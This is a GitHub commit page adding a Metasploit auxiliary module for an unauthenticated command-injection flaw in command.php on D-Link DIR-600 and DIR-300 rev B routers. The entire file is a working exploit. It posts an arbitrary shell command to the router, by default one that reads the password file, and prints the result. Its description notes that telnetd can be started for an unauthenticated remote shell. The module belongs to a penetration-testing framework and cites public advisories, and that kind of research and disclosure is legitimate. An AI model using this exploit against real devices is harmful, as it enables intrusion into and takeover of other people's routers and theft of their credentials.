Skip to content

Commit ec5c8e3

Browse files
author
jvazquez-r7
committed
Merge branch 'dlink-dir300-600-execution' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-dlink-dir300-600-execution
2 parents f0f3b65 + dfbe9ce commit ec5c8e3

File tree

1 file changed

+75
-0
lines changed

1 file changed

+75
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution',
17+
'Description' => %q{
18+
This module exploits an OS Command Injection vulnerability in some D-Link
19+
Routers like the DIR-600 rev B and the DIR-300 rev B. The vulnerability exists in
20+
command.php, which is accessible without authentication. This module has been
21+
tested with the versions DIR-600 2.14b01 and below, DIR-300 rev B 2.13 and below.
22+
In order to get a remote shell the telnetd could be started without any
23+
authentication.
24+
},
25+
'Author' => [ 'm-1-k-3' ],
26+
'License' => MSF_LICENSE,
27+
'References' =>
28+
[
29+
[ 'OSVDB', '89861' ],
30+
[ 'EDB', '24453' ],
31+
[ 'URL', 'http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router' ],
32+
[ 'URL', 'http://www.s3cur1ty.de/home-network-horror-days' ],
33+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-003' ]
34+
],
35+
'DefaultTarget' => 0,
36+
'DisclosureDate' => 'Feb 04 2013'))
37+
38+
register_options(
39+
[
40+
Opt::RPORT(80),
41+
OptString.new('CMD', [ true, 'The command to execute', 'cat var/passwd'])
42+
], self.class)
43+
end
44+
45+
def run
46+
uri = '/command.php'
47+
48+
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
49+
50+
data_cmd = "cmd=#{datastore['CMD']}; echo end"
51+
52+
begin
53+
res = send_request_cgi(
54+
{
55+
'uri' => uri,
56+
'method' => 'POST',
57+
'data' => data_cmd
58+
})
59+
return if res.nil?
60+
return if (res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ HTTP\/1.1,\ DIR/)
61+
return if res.code == 404
62+
rescue ::Rex::ConnectionError
63+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
64+
return
65+
end
66+
67+
if res.body.include?("end")
68+
print_good("#{rhost}:#{rport} - Exploited successfully\n")
69+
print_line("#{rhost}:#{rport} - Command: #{datastore['CMD']}\n")
70+
print_line("#{rhost}:#{rport} - Output: #{res.body}")
71+
else
72+
print_error("#{rhost}:#{rport} - Exploit failed.")
73+
end
74+
end
75+
end

0 commit comments

Comments
 (0)